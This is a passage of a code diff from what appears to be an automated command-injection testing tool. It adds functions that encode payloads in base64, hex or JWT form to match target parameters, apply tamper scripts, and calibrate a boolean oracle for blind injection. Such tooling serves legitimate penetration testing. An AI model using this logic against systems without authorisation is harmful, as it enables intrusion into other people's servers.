+ return None
+ try:
+ raw = base64.urlsafe_b64decode(body + "=" * (-len(body) % 4)) if urlsafe \
+ else base64.b64decode(body + "=" * (-len(body) % 4))
+ decoded = raw.decode(settings.DEFAULT_CODEC)
+ except Exception:
+ return None
+ if "\\x" in decoded or not decoded_text_is_plausible(decoded):
+ return None
+ description = {"codec": "base64", "urlsafe": urlsafe, "padded": padded}
+ # Written out again the way it arrived: where that is not what arrived, it was never encoded.
+ if apply_encoding(decoded, description) != value:
+ return None
+ return description
+
+"""
+The encoding named with '--param-encoding', as the value it is named for actually carries it.
+
+The name settles the alphabet; the padding and the case are read off the value itself, so that a
+parameter written one way is not answered in another.
+"""
+def encoding_from_name(name, value):
+ name = (name or "").strip().lower()
+ value = value or ""
+ if name == settings.ENCODING_JWT_KID:
+ data = jwt_audit.parse(value)
+ # Only a token that names a 'kid' carries anything here - the rest of it is kept as it arrived.
+ if not data or "kid" not in data["header"]:
+ return None
+ return {"codec": "jwt-kid", "header": data["header"], "token": value}
+ if name == settings.ENCODING_HEX:
+ body = value[2:] if value[:2].lower() == "0x" else value
+ return {"codec": "hex", "upper": body.upper() == body and body.lower() != body,
+ "prefixed": value[:2].lower() == "0x"}
+ if name in (settings.ENCODING_BASE64, settings.ENCODING_BASE64_SAFE):
+ urlsafe = name == settings.ENCODING_BASE64_SAFE
+ # The URL-safe alphabet is written without padding; the standard one keeps whatever it needs.
+ padded = False if urlsafe else (value.endswith("=") or len(value.rstrip("=")) % 4 == 0)
+ return {"codec": "base64", "urlsafe": urlsafe, "padded": padded}
+ return None
+
+"""
+What '--param-encoding' was given, as a parameter-to-encoding map.
+
+Written either as one encoding for every parameter tested, or as the parameters that carry one
+named each with their own.
+"""
+def parse_param_encoding():
+ given = (menu.options.param_encoding or "").strip()
+ if not given:
+ return
+ settings.PARAMETER_ENCODINGS = {}
+ settings.PARAMETER_ENCODING_DEFAULT = None
+ for entry in re.split(settings.PARAMETER_SPLITTING_REGEX, given):
+ entry = entry.strip()
+ if not entry:
+ continue
+ name, separator, encoding = entry.partition("=")
+ if not separator:
+ name, encoding = "", name
+ encoding = encoding.strip().lower()
+ if encoding not in settings.SUPPORTED_PARAMETER_ENCODINGS:
+ err_msg = "You specified an invalid value '" + encoding + "' for the option '--param-encoding'. "
+ err_msg += "The value must be one of " + ", ".join("'" + _ + "'" for _ in settings.SUPPORTED_PARAMETER_ENCODINGS) + "."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ if name:
+ settings.PARAMETER_ENCODINGS[name.strip()] = encoding
+ else:
+ settings.PARAMETER_ENCODING_DEFAULT = encoding
+
+"""
+An encoding asked for as a tamper script is the same thing said the way it used to be said.
+
+'base64encode' and 'hexencode' wrote the payload out encoded and left the value it was appended to
+alone, which only ever worked where the two happened to decode as one. Taken here as what they were
+reaching for - the value is carried in that encoding - and answered that way for every parameter
+tested, which is what naming a tamper meant.
+"""
+def absorb_encoding_tampers():
+ given = menu.options.tamper or ""
+ if not given:
+ return
+ kept = []
+ absorbed = None
+ for script in re.split(settings.PARAMETER_SPLITTING_REGEX, given):
+ name = script.strip().lower()
+ if name in settings.ENCODING_TAMPER_SCRIPTS:
+ absorbed = settings.ENCODING_TAMPER_SCRIPTS[name]
+ elif script.strip():
+ kept.append(script.strip())
+ if absorbed is None:
+ return
+ menu.options.tamper = ",".join(kept) if kept else None
+ warn_msg = "The value's encoding is no longer given as a tamper script. "
+ if menu.options.param_encoding:
+ warn_msg += "Carrying on with what '--param-encoding' names."
+ else:
+ settings.PARAMETER_ENCODING_DEFAULT = absorbed
+ warn_msg += "Carrying on as '--param-encoding=" + absorbed + "'."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+The encoding a parameter was said to carry, where one was named for it.
+"""
+def named_encoding(parameter, value):
+ encoding = settings.PARAMETER_ENCODINGS.get(parameter, settings.PARAMETER_ENCODING_DEFAULT)
+ return encoding_from_name(encoding, value) if encoding else None
+
+"""
+A payload written out in the encoding the parameter carries, ready for the wire.
+
+The payload writes its spaces the way a carrier that percent-decodes them wants; a value the target
+reads back out of base64 or hex is not percent-decoded, so they go back to being spaces before it
+is written out - otherwise the command the target runs is full of '%20' where its spaces were.
+"""
+def apply_value_encoding(payload):
+ if not settings.VALUE_ENCODING:
+ return payload
+ return apply_encoding(_urllib.parse.unquote(payload), settings.VALUE_ENCODING)
+
+"""
+Write a value out the way the one it stands in for was written.
+"""
+def apply_encoding(value, description):
+ if not description:
+ return value
+ if description.get("codec") == "jwt-kid":
+ return jwt_audit.rewrite_kid(description.get("token") or "", value)
+ if description.get("codec") == "hex":
+ body = value.encode(settings.DEFAULT_CODEC).hex()
+ if description.get("upper"):
+ body = body.upper()
+ return ("0x" + body) if description.get("prefixed") else body
+ raw = value.encode(settings.DEFAULT_CODEC)
+ encoded = base64.urlsafe_b64encode(raw) if description.get("urlsafe") else base64.b64encode(raw)
+ encoded = encoded.decode(settings.DEFAULT_CODEC)
+ return encoded if description.get("padded") else encoded.rstrip("=")
+
+# What a value written in a known encoding stands for.
+def strip_encoding(value, description):
+ if not description:
+ return value
+ if description.get("codec") == "jwt-kid":
+ data = jwt_audit.parse(value)
+ return str(data["header"].get("kid", "")) if data else value
+ if description.get("codec") == "hex":
+ body = value[2:] if description.get("prefixed") else value
+ return bytearray.fromhex(body).decode(settings.DEFAULT_CODEC)
+ body = value.rstrip("=")
+ padded = body + "=" * (-len(body) % 4)
+ raw = base64.urlsafe_b64decode(padded) if description.get("urlsafe") else base64.b64decode(padded)
+ return raw.decode(settings.DEFAULT_CODEC)
+
+"""
+Check for applied (hex / b64) encoders.
+"""
+def check_encoders(payload):
+ """
+ Whether the value the parameter carries is written in an encoding, and if it is, the run is told
+ to speak it: the value is read back as what it stands for, and every value sent from here on is
+ written out the same way - alphabet, padding and all.
+ """
+ description = recognise_encoding(payload)
+ if not description:
+ return payload, ""
+
+ encoded_with = description["codec"]
+ while True:
+ message = "The value appears to already be " + encoded_with + "-encoded. "
+ message += "Do you want " + settings.APPLICATION + " to keep it that way? [Y/n] "
+ answer = common.read_input(message, default="Y", check_batch=True)
+ if answer in settings.CHOICE_YES:
+ break
+ elif answer in settings.CHOICE_NO:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Leaving the value as it was given."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ return payload, ""
+ elif answer in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(answer)
+
+ try:
+ decoded = strip_encoding(payload, description)
+ except Exception:
+ return payload, ""
+ settings.VALUE_ENCODING = description
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "The value stands for '" + decoded + "'."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ return decoded, encoded_with
+
+"""
+Recognise the payload.
+"""
+def recognise_payload(payload):
+ if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('sleep2usleep')
+
+ elif "timeout" in payload:
+ _enable_tamper_script('sleep2timeout')
+
+ return check_encoders(payload)
+
+"""
+Restore stored payloads and tampers as-is when resuming a session; skip re-detection and prompts.
+"""
+def check_for_stored_tamper(payload):
+ whitespace_check(payload)
+ other_symbols(payload)
+ check_backslashes(payload)
+ check_quotes(payload)
+ tamper_scripts(stored_tamper_scripts=True)
+
+"""
+Run a tamper script's tamper(), turning an exception or a non-string return value into a clean error instead of crashing raw or corrupting the payload.
+"""
+def _apply_tamper(script_name, module, payload):
+ try:
+ result = module.tamper(payload)
+ except Exception as err:
+ err_msg = "Tamper script '" + script_name + "' raised an unhandled error (" + str(err) + ")."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ if not isinstance(result, str):
+ err_msg = "Tamper script '" + script_name + "' returned an invalid payload type ('" + type(result).__name__ + "')."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ return result
+
+"""
+Apply tampers in dependency order across groups, preserving the user's --tamper order within each group.
+"""
+def perform_payload_modification(payload):
+ try:
+ settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE)
+ except IndexError:
+ settings.RAW_PAYLOAD = payload
+
+ for script in list(settings.MULTI_ENCODED_PAYLOAD):
+ if script == 'xforwardedfor':
+ continue
+ module = importlib.import_module(tamper_module_path(script))
+ payload = _apply_tamper(script, module, payload)
+
+ return payload
+
+"""
+Settle what a tamper script's own mutation to 'WHITESPACES' would be, before anything built off
+that list is frozen.
+
+Several whitespace tampers ('space2ifs', 'space2htab', ...) do not rewrite the payload they are
+handed at all - they rewrite 'settings.WHITESPACES' as a side effect, so that every payload built
+afterwards carries the substitute instead of a plain space. A technique that reads 'WHITESPACES'
+before sending its own first payload reads it as it stood before an escalation stage just added the
+script - that technique never asks again once it has gone through its own boundaries once, so the
+substitute the stage was supposed to try only ends up reaching whichever technique happens to run
+after it, in the same pass, by accident. Running the active scripts once against a bare space here,
+ahead of that read, settles it there instead - not a real payload, since the scripts this is for do
+not look at the one they are given.
+"""
+def prime_whitespace_tampers():
+ if settings.MULTI_ENCODED_PAYLOAD:
+ perform_payload_modification(settings.SINGLE_WHITESPACE)
+
+
+"""
+Skip parameters when the provided value is empty.
+"""
+def skip_empty(empty_parameters, http_request_method):
+ warn_msg = "Skipped the " + http_request_method
+ warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1]
+ warn_msg += " '" + empty_parameters + "' from testing"
+ warn_msg += " because you specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Prints an informational message if a nested JSON structure is detected
+and JSON parameter enumeration has not started yet.
+"""
+def nested_json_msg(data):
+ if not settings.JSON_ENUMERATION_STARTED:
+ # Detect nested structure by checking if flattening increases the number of keys
+ if len(flatten(data)) > len(data):
+ settings.JSON_ENUMERATION_STARTED = True
+ info_msg = "Enumerating parameters due to nested JSON structure."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+Pretty-print data as valid JSON using 2-space indentation.
+"""
+def format_json(data):
+ nested_json_msg(data)
+ indent, separators = settings.JSON_FORMATTING
+ return json.dumps(data, indent=indent, ensure_ascii=False, separators=separators)
+
+"""
+Put back the whitespace that sat between the XML tags, which the parameter split replaced.
+"""
+def restore_xml_layout(data):
+ if not settings.IS_XML or not settings.XML_TAG_SEPARATORS:
+ return data
+ separators = list(settings.XML_TAG_SEPARATORS)
+ # A payload of its own could add a boundary, and then the recorded layout no longer lines up.
+ if len(re.findall(r">\s*<", data)) != len(separators):
+ return data
+ return re.sub(r">\s*<", lambda match: ">" + separators.pop(0) + "<", data)
+
+"""
+A body that is reflowed no longer matches what the target was given, so keep the supplied layout.
+"""
+def json_formatting(data):
+ if settings.END_LINE.LF in data.strip():
+ return (2, None)
+ return (None, (", ", ": ") if ", " in data else (",", ":"))
+
+"""
+A repeated key cannot survive being parsed into an object, so warn rather than drop one quietly.
+"""
+def warn_on_duplicate_json_keys(data):
+ if settings.DUPLICATE_JSON_KEYS_WARNED:
+ return
+ seen, duplicates = set(), set()
+ # Warn once for each parameter that appears more than once in the same request.
+ def _hook(pairs):
+ for name, _ in pairs:
+ if name in seen:
+ duplicates.add(name)
+ seen.add(name)
+ return OrderedDict(pairs)
+ try:
+ json.loads(data, object_pairs_hook=_hook)
+ except Exception:
+ return
+ if duplicates:
+ settings.DUPLICATE_JSON_KEYS_WARNED = True
+ warn_msg = "The provided JSON data repeats the key" + "s"[len(duplicates) == 1:] + " '" + "', '".join(sorted(duplicates))
+ warn_msg += "'. Only the last occurrence of each is kept."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Parsing and unflattening JSON data.
+"""
+def json_data(data):
+ try:
+ data = json.loads(data, object_pairs_hook=OrderedDict)
+ data = unflatten_list(data)
+ return format_json(data)
+ except Exception:
+ return data
+
+"""
+No parameter(s) found for testing.
+"""
+def no_parameters_found():
+ err_msg = "No parameter(s) found for testing in the provided data "
+ err_msg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). "
+ if not menu.options.crawldepth:
+ err_msg += "Re-run with '--crawl=2'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+Check if the provided value is empty.
+"""
+def is_empty(multi_parameters, http_request_method):
+ all_empty = False
+ empty_parameters = []
+ multi_params = [s for s in multi_parameters]
+ if settings.IS_JSON:
+ try:
+ multi_params = flatten(json.loads(','.join(multi_params), object_pairs_hook=OrderedDict)) if is_JSON_check(','.join(multi_params)) else multi_params
+ except ValueError as err_msg:
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ for empty in multi_params:
+ try:
+ if settings.IS_JSON:
+ try:
+ if len(str(multi_params[empty])) == 0 :
+ empty_parameters.append(empty)
+ except TypeError:
+ pass
+ elif settings.IS_XML:
+ if re.findall(r'>(.*)<', empty)[0] == "" or \
+ re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE:
+ empty_parameters.append(re.findall(r'(.*)>', empty)[0])
+ else:
+ # What follows the first '=' is the value, however many more it holds: read to the next
+ # one instead and a value that starts with one reads as no value at all.
+ name, separator, value = empty.partition("=")
+ if separator and len(value) == 0:
+ empty_parameters.append(name)
+ except IndexError:
+ pass
+
+ if len(empty_parameters) == len(multi_parameters):
+ all_empty = True
+
+ empty_parameters = ", ".join(empty_parameters)
+ if len(empty_parameters) > 0:
+ if menu.options.skip_empty:
+ skip_empty(empty_parameters, http_request_method)
+ if all_empty:
+ return all_empty
+ else:
+ return False
+ else:
+ warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1]
+ warn_msg += " for " + http_request_method
+ warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1]
+ warn_msg += " '" + empty_parameters + "'"
+ warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. "
+ warn_msg += "Use only valid values, so " + settings.APPLICATION
+ warn_msg += " can run properly."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return False
+
+"""
+A payload as it is written inside a document's string, which quotes the way a JSON string does.
+"""
+def graphql_escape_payload(payload):
+ return payload.replace("\\", "\\\\").replace("\"", "\\\"")
+
+"""
+Whether the run was given a way to tell a true answer from a false one off the page itself.
+"""
+def boolean_oracle_given():
+ return any((menu.options.string, menu.options.not_string, menu.options.regexp, menu.options.code))
+
+"""
+Whether the page says the injected condition held.
+
+The answer a target gives where it branches on the command rather than printing what it returned -
+the page it renders, or the status it answers with, stands in for the output a blind sink withholds.
+"""
+def boolean_oracle(page, code=None, page_length=None, headers=None):
+ """
+ Read against the headers as well as the body, the way the reference for this reads it: what tells
+ a true answer from a false one is as often something the application set in a header - a cookie
+ it drops, a location it redirects to, a length it reports - as anything it rendered, and a body
+ read on its own never sees it. The pattern is matched the way that one matches it too, without
+ regard to case and with '^' and '$' reading the lines of the answer rather than the whole of it.
+ """
+ answered = page or ""
+ if headers:
+ try:
+ answered = "".join(str(line) for line in headers.headers) + answered
+ except AttributeError:
+ answered = str(headers) + answered
+ if menu.options.string:
+ return menu.options.string in answered
+ if menu.options.not_string:
+ return menu.options.not_string not in answered
+ if menu.options.regexp:
+ try:
+ return bool(re.search(menu.options.regexp, answered, re.IGNORECASE | re.MULTILINE))
+ except re.error:
+ return None
+ if menu.options.code is not None:
+ return str(code) == str(menu.options.code)
+ """
+ '--lengths' asked for by name, or 'page_length' handed in because there was no body to read at
+ all ('--null-connection') - either way, a length and nothing else is what there is to bisect on.
+ """
+ if menu.options.lengths or page_length is not None:
+ if settings.BOOLEAN_TRUE_LENGTH is None or settings.BOOLEAN_FALSE_LENGTH is None:
+ return None
+ if page_length is None:
+ page_length = len(page) if page is not None else None
+ if page_length is None or settings.BOOLEAN_TRUE_LENGTH == settings.BOOLEAN_FALSE_LENGTH:
+ return None
+ to_true = abs(page_length - settings.BOOLEAN_TRUE_LENGTH)
+ to_false = abs(page_length - settings.BOOLEAN_FALSE_LENGTH)
+ if to_true == to_false:
+ return None
+ return to_true < to_false
+ # Nothing was named, so the answer is read against the two pages a known question came back with:
+ # whichever of them this response is closer to is the answer it carries. Calibrated rather than
+ # compared to a threshold, because what a condition changes can be a couple of characters of a
+ # page that is otherwise thousands - a difference no ratio of the whole would notice.
+ if settings.BOOLEAN_TRUE_PAGE is None or settings.BOOLEAN_FALSE_PAGE is None or page is None:
+ return None
+ current = comparable_page(page)
+ to_true = page_ratio(settings.BOOLEAN_TRUE_PAGE, current)
+ to_false = page_ratio(settings.BOOLEAN_FALSE_PAGE, current)
+ if to_true == to_false:
+ return None
+ return to_true > to_false
+
+"""
+Learn what a yes and a no look like on this target, from two questions whose answers are known.
+
+False where the two are indistinguishable: a page that reads the same either way carries no answer,
+and everything bisected on it would be noise.
+"""
+def calibrate_boolean_oracle(page_true, page_false, code_true=None, code_false=None):
+ settings.BOOLEAN_TRUE_PAGE = settings.BOOLEAN_FALSE_PAGE = None
+ settings.BOOLEAN_TRUE_RAW = settings.BOOLEAN_FALSE_RAW = None
+ settings.BOOLEAN_TRUE_LENGTH = settings.BOOLEAN_FALSE_LENGTH = None
+ settings.BOOLEAN_TRUE_CODE, settings.BOOLEAN_FALSE_CODE = code_true, code_false
+ if page_true is None or page_false is None:
+ return False
+ # Worth paying a fresh connection per request for '--null-connection' only past a minimum size -
+ # settled once, off the page this run actually has, rather than assumed.
+ if settings.NULL_CONNECTION_WORTHWHILE is None:
+ settings.NULL_CONNECTION_WORTHWHILE = len(page_true) >= settings.NULL_CONNECTION_MIN_LENGTH
+ true_page, false_page = comparable_page(page_true), comparable_page(page_false)
+ """
+ Read as a length once the target's own moving parts are out of it.
+
+ A length is a length whichever bytes it counts, so the pages themselves are measured as they came
+ back - but whether that length says anything is another question. A target printing something of
+ its own that varies in width, a timing or a counter, is a different number of bytes long on two
+ identical requests, and a difference read off that is the page moving rather than the question
+ being answered: taken for an answer, any boundary at all is confirmed on the strength of it.
+ """
+ true_length, false_length = len(page_true), len(page_false)
+ lengths_distinguish = true_length != false_length and len(true_page) != len(false_page)
+ if lengths_distinguish:
+ settings.BOOLEAN_TRUE_LENGTH, settings.BOOLEAN_FALSE_LENGTH = true_length, false_length
+ if not true_page or true_page == false_page:
+ # Content alone cannot tell the two apart - length still might, and is reported precisely
+ # because it is the only one of the two that just did.
+ return lengths_distinguish
+ """
+ A page that is a plain shell error on both questions is not two answers - it is one error, with
+ this run's own calibration digits echoed back inside it. A filter that corrupts the payload before
+ a shell ever sees it still leaves the random marker's length (6 vs. 7) sitting in the "command not
+ found" text the shell quotes it in, which tells the two pages apart without either command having
+ actually run. Normalizing the digits out of each error catches exactly that case, without touching
+ a real difference in wording a target's own interpreter would give for two different questions.
+ """
+ true_error, false_error = extract_error_message(page_true), extract_error_message(page_false)
+ if true_error is not None and false_error is not None:
+ normalized = lambda text: re.sub(r"\d+", "#", text)
+ if normalized(true_error) == normalized(false_error):
+ return False
+ settings.BOOLEAN_TRUE_PAGE, settings.BOOLEAN_FALSE_PAGE = true_page, false_page
+ settings.BOOLEAN_TRUE_RAW, settings.BOOLEAN_FALSE_RAW = page_true, page_false
+ return True
+
+"""
+Text one answer carries and the other does not, quoted back as the option that would name it.
+
+Worked out from the two pages a known question came back with, so that a finding made by calibration
+can be reached again without it - the next run is told what a true answer looks like instead of
+having to learn it. Where the two answers differ by a word that also appears elsewhere on the page,
+the word alone would match either of them, so it is grown outwards into the text around it until it
+is text only that answer carries: 'up' is on both pages, 'Host is up' on one.
+
+Nothing is offered where the difference is not the target's to make: a payload that prints its own
+marker is answered by a word this run invented, which would mean nothing to the next one.
+"""
+def inferred_boolean_oracle():
+ if settings.BOOLEAN_PRINTED_STATE:
+ return ""
+ true_raw, false_raw = settings.BOOLEAN_TRUE_RAW, settings.BOOLEAN_FALSE_RAW
+ if not true_raw or not false_raw:
+ return ""
+
+ # The shortest window around the difference that the other answer has no copy of.
+ def unique_around(page, other, start, end):
+ for margin in settings.BOOLEAN_STRING_HINT_MARGINS:
+ low, high = max(0, start - margin), min(len(page), end + margin)
+ # A window that opens inside a tag is snapped back to the start of it, so what is quoted does
+ # not begin with half an element.
+ reach = max(0, low - settings.BOOLEAN_STRING_HINT_MAXLEN)
+ opened = page.rfind("<", reach, low)
+ if opened > page.rfind(">", reach, low):
+ low = opened
+ head, tail = page[low:start], page[start:high]
+ """
+ The markup around a difference is often the difference.
+
+ A scenario page that lists its own source carries both branches as text, so the words alone
+ are on both answers and only the rendered one is wrapped in its tag. The window is therefore
+ quoted as it stands first, and only cut back to the words inside it when that is not enough.
+ """
+ shapes = [head + tail]
+ if ">" in head or "<" in tail:
+ shapes.append((head.rsplit(">", 1)[1] if ">" in head else head) +
+ (tail.split("<", 1)[0] if "<" in tail else tail))
+ for shape in shapes:
+ candidate = shape.strip().split(settings.END_LINE.LF)[0].strip(" \"'\t\r")
+ candidate = candidate[:settings.BOOLEAN_STRING_HINT_MAXLEN].strip()
+ if len(candidate) < 2 or not candidate.isprintable():
+ continue
+ if candidate in other or candidate not in page:
+ continue
+ return candidate
+ return ""
+
+ # A status code that differs is the cheapest answer of all, and the one least likely to move.
+ true_code, false_code = settings.BOOLEAN_TRUE_CODE, settings.BOOLEAN_FALSE_CODE
+ if true_code and false_code and str(true_code) != str(false_code) and str(true_code) not in settings.WAF_BLOCK_HTTP_CODES:
+ return "--code=" + str(true_code)
+
+ # What the page shows, before anything with markup in it: a line of it reads as something a person
+ # looking at the page would point at, and a single word of it survives a target that renders the
+ # same answer a little differently.
+ def lines(page):
+ return set(filtered_page_content(page, split=settings.END_LINE.LF).split(settings.END_LINE.LF))
+
+ def words(page):
+ return set(filtered_page_content(page).split())
+
+ """
+ Where the two answers actually part company, as spans of each page.
+
+ A page is not only its answer: a run that took a moment longer, a counter, a length printed in a
+ corner will all differ between two requests without saying anything about what was asked. Text is
+ only worth quoting when it sits where the answer changed, so a candidate has to overlap one of
+ these to count - otherwise the page's own furniture can stand in for the answer and be offered as
+ the way to recognise it.
+ """
+ opcodes = [_ for _ in difflib.SequenceMatcher(None, false_raw, true_raw).get_opcodes() if _[0] != "equal"]
+ changed_true = [(j1, j2) for _, _, _, j1, j2 in opcodes]
+ changed_false = [(i1, i2) for _, i1, i2, _, _ in opcodes]
+
+ def overlaps_change(candidate, page, regions):
+ at = page.find(candidate)
+ while at != -1:
+ if any(at < high and low < at + len(candidate) for low, high in regions):
+ return True
+ at = page.find(candidate, at + 1)
+ return False
+
+ """
+ The page's own moving parts are not an answer either.
+
+ Sitting where the two answers differ is not enough on its own: a target that prints something of
+ its own that moves - a timing, a counter, a clock - differs there between two identical requests
+ as well, so that text lands in the difference without having anything to do with what was asked.
+ Those regions were measured from two samples of the same request before any of this, and taken
+ out of the comparison every other reading is made through; read through it here too, text that is
+ only the page moving is gone, and what is offered is what the answer actually changed.
+ """
+ true_steady, false_steady = remove_dynamic_content(true_raw), remove_dynamic_content(false_raw)
+
+ def usable(candidate, page, other, regions, steady):
+ candidate = candidate.strip()
+ return (candidate and candidate in page and candidate not in other
+ and overlaps_change(candidate, page, regions)
+ and candidate in steady)
+
+ # A sentence first, being the one worth reading back; then a single word.
+ for pattern, sentence, extract in ((r"\A[\w.,! ]+\Z", True, lines), (r"\A\w{2,}\Z", False, words)):
+ only = extract(true_raw) - extract(false_raw)
+ for candidate in sorted((_.strip() for _ in only if _.strip()), key=len):
+ if not re.match(pattern, candidate):
+ continue
+ if sentence and not (settings.SINGLE_WHITESPACE in candidate and len(candidate) > settings.CANDIDATE_SENTENCE_MIN_LENGTH):
+ continue
+ if usable(candidate, true_raw, false_raw, changed_true, true_steady):
+ return "--string=" + quoted_value(candidate)
+
+ for candidate in sorted((_.strip() for _ in words(false_raw) - words(true_raw) if _.strip()), key=len):
+ if re.match(r"\A\w+\Z", candidate) and usable(candidate, false_raw, true_raw, changed_false, false_steady):
+ return "--not-string=" + quoted_value(candidate)
+
+ """
+ Nothing the page says on its own tells the two apart, so the markup it says it in is tried.
+
+ A page that lists its own source carries the words of both answers as text and differs only in
+ which of them it rendered - so the tag around the difference is the difference, and quoting it is
+ what makes the answer nameable at all.
+ """
+ for option, page, other, on_true, steady in (("--string", true_raw, false_raw, True, true_steady),
+ ("--not-string", false_raw, true_raw, False, false_steady)):
+ for _, i1, i2, j1, j2 in opcodes:
+ found = unique_around(page, other, *((j1, j2) if on_true else (i1, i2)))
+ # Held to what the answer changed here too, not to what the page moves on its own.
+ if found and found.strip() in steady:
+ return option + "=" + quoted_value(found)
+ return ""
+
+"""
+The option that says which answer is which on this target, for the finding to be reported with.
+"""
+def boolean_oracle_hint(technique):
+ if technique != settings.INJECTION_TECHNIQUE.BOOLEAN_BASED:
+ return ""
+ # Said only where the run worked it out for itself: a run that was already given one is being
+ # told what it told us.
+ if boolean_oracle_given():
+ return ""
+ return inferred_boolean_oracle()
+
+# Check if a GraphQL document, which is a body that names an operation and carries a selection set.
+def is_GraphQL_check(parameter):
+ try:
+ return bool(re.search(settings.GRAPHQL_RECOGNITION_REGEX, parameter.replace(settings.INJECT_TAG, "")))
+ except (ValueError, TypeError):
+ return False
+
+# Check if valid SOAP/XML
+def is_XML_check(parameter):
+ try:
+ if re.search(settings.XML_RECOGNITION_REGEX, parameter):
+ return True
+ except ValueError:
+ return False
+
+#Check if INJECT_TAG is enclosed in quotes (in json data)
+def check_quotes_json_data(data):
+ if not json.dumps(settings.INJECT_TAG) in data:
+ data = data.replace(settings.INJECT_TAG, json.dumps(settings.INJECT_TAG))
+ return data
+
+# Check if valid JSON
+def is_JSON_check(parameter):
+ try:
+ # Attempt to load the JSON string
+ json.loads(parameter.replace(settings.INJECT_TAG,""))
+ settings.IS_VALID_JSON = True
+ return settings.IS_VALID_JSON
+ except json.JSONDecodeError as err_msg:
+ # Handle JSONDecodeError and identify common issues
+ if settings.IS_JSON and not settings.IS_VALID_JSON:
+ error_str = str(err_msg)
+ if "No JSON object could be decoded" in error_str:
+ err_msg = "JSON is invalid. No valid JSON object found."
+ elif "Expecting" in error_str and any(_ in error_str for _ in ("value", "delimiter")):
+ err_msg = "JSON parsing error: " + error_str + ". Check for missing commas, colons, or improperly escaped characters."
+ elif "Expecting" in error_str and "end of data" in error_str:
+ err_msg = "JSON parsing error: " + error_str + ". Check for extra commas or missing closing brackets."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+
+# Process with JSON data
+def process_data(data_type, http_request_method):
+ while True:
+ info_msg = str(data_type) + " data found in " + str(http_request_method) + " body."
+ message = info_msg
+ message += " Do you want to process it? [Y/n] "
+ process = common.read_input(message, default="Y", check_batch=True)
+ if process in settings.CHOICE_YES:
+ return True
+ elif process in settings.CHOICE_NO:
+ settings.IGNORE_USER_DEFINED_POST_DATA = True
+ return False
+ elif process in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(process)
+ pass
+
+"""
+Check for similarity in provided parameter name and value.
+"""
+def check_similarities(all_params):
+ if settings.IS_JSON:
+ try:
+ placeholder = "".join(random.sample(string.ascii_uppercase, k=6))
+ flat = flatten(json.loads(','.join(all_params), object_pairs_hook=OrderedDict))
+ modified = False
+ for param in flat:
+ if isinstance(flat[param], str):
+ if flat[param] in param:
+ flat[param] = flat[param] + settings.RANDOM_TAG
+ modified = True
+ if settings.SINGLE_WHITESPACE in flat[param]:
+ flat[param] = flat[param].replace(settings.SINGLE_WHITESPACE, placeholder)
+ modified = True
+ if modified:
+ all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(placeholder, settings.SINGLE_WHITESPACE) for x in json.dumps(flat).split(", ")]
+ except Exception:
+ pass
+ else:
+ for param in range(0, len(all_params)):
+ if settings.IS_XML:
+ if re.findall(r'>(.*)', all_params[param]):
+ if re.findall(r'>(.*)', all_params[param])[0] in re.findall(r'(.*)>', all_params[param])[0]:
+ parameter_name = ''.join(re.findall(r'(.*)>', all_params[param]))
+ parameter_value = ''.join(re.findall(r'>(.*)', all_params[param]))
+ all_params[param] = "<" + parameter_name + ">" + parameter_value + settings.RANDOM_TAG + "" + parameter_name + ">"
+ else:
+ if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]):
+ parameter_name = ''.join(re.findall(r'=(.*)', all_params[param]))
+ if parameter_name:
+ all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG
+ elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]:
+ parameter_name = ''.join(re.findall(r'(.*)=', all_params[param]))
+ parameter_value = ''.join(re.findall(r'=(.*)', all_params[param]))
+ all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG
+
+ all_params = [str(x) for x in all_params if x is not None]
+ return all_params
+
+"""
+What this run has already seen the output made of.
+
+A command's output is not a random string. The same bytes come back again and again - the slashes
+of a path, the digits of an id, the letters of a name - and a byte bisected out of the whole pool
+every time pays no attention to any of that: the last character of an output costs what the first
+one did. Kept here, the next byte is asked about against the ones before it, and the pool is only
+fallen back on where they have nothing to say.
+
